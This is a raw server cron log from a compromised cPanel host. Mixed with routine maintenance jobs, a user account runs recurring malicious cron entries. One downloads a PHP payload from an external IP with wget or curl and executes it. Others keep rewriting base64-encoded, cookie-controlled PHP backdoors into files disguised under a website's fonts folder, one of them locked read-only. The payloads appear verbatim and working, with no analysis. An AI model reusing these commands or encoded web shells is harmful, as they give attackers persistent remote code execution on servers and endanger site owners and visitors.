Sep  4 14:36:01 ip-184-168-122-23 CROND[7960]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:36:01 ip-184-168-122-23 CROND[7963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:37:01 ip-184-168-122-23 CROND[8059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:37:01 ip-184-168-122-23 CROND[8060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:37:01 ip-184-168-122-23 CROND[8062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:37:01 ip-184-168-122-23 CROND[8063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:38:01 ip-184-168-122-23 CROND[8172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:38:01 ip-184-168-122-23 CROND[8171]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:38:01 ip-184-168-122-23 CROND[8173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:38:01 ip-184-168-122-23 CROND[8176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:38:01 ip-184-168-122-23 CROND[8180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:39:01 ip-184-168-122-23 CROND[8289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:39:01 ip-184-168-122-23 CROND[8288]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 14:39:01 ip-184-168-122-23 CROND[8290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:39:01 ip-184-168-122-23 CROND[8292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:39:01 ip-184-168-122-23 CROND[8291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:40:02 ip-184-168-122-23 CROND[8419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:40:02 ip-184-168-122-23 CROND[8417]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 14:40:02 ip-184-168-122-23 CROND[8420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:40:02 ip-184-168-122-23 CROND[8418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:40:02 ip-184-168-122-23 CROND[8422]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:40:02 ip-184-168-122-23 CROND[8423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:40:02 ip-184-168-122-23 CROND[8424]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:40:02 ip-184-168-122-23 CROND[8425]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:41:01 ip-184-168-122-23 CROND[8602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:41:01 ip-184-168-122-23 CROND[8604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:41:01 ip-184-168-122-23 CROND[8603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:41:01 ip-184-168-122-23 CROND[8606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:42:02 ip-184-168-122-23 CROND[8685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:42:02 ip-184-168-122-23 CROND[8687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:42:02 ip-184-168-122-23 CROND[8688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:42:02 ip-184-168-122-23 CROND[8686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:42:02 ip-184-168-122-23 CROND[8689]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:43:01 ip-184-168-122-23 CROND[8782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:43:01 ip-184-168-122-23 CROND[8784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:43:01 ip-184-168-122-23 CROND[8783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:43:01 ip-184-168-122-23 CROND[8785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:44:01 ip-184-168-122-23 CROND[8889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:44:01 ip-184-168-122-23 CROND[8888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:44:01 ip-184-168-122-23 CROND[8887]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:44:01 ip-184-168-122-23 CROND[8890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:44:01 ip-184-168-122-23 CROND[8891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:45:02 ip-184-168-122-23 CROND[9027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:45:02 ip-184-168-122-23 CROND[9028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:45:02 ip-184-168-122-23 CROND[9030]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:45:02 ip-184-168-122-23 CROND[9029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:45:02 ip-184-168-122-23 CROND[9031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:45:02 ip-184-168-122-23 CROND[9033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:46:01 ip-184-168-122-23 CROND[9131]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:46:01 ip-184-168-122-23 CROND[9133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:46:01 ip-184-168-122-23 CROND[9135]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 14:46:01 ip-184-168-122-23 CROND[9134]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 14:46:01 ip-184-168-122-23 CROND[9139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:46:01 ip-184-168-122-23 CROND[9136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:46:01 ip-184-168-122-23 CROND[9138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:47:01 ip-184-168-122-23 CROND[9243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:47:01 ip-184-168-122-23 CROND[9241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:47:01 ip-184-168-122-23 CROND[9242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:47:01 ip-184-168-122-23 CROND[9244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:48:01 ip-184-168-122-23 CROND[9414]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:48:01 ip-184-168-122-23 CROND[9416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:48:01 ip-184-168-122-23 CROND[9417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:48:01 ip-184-168-122-23 CROND[9418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
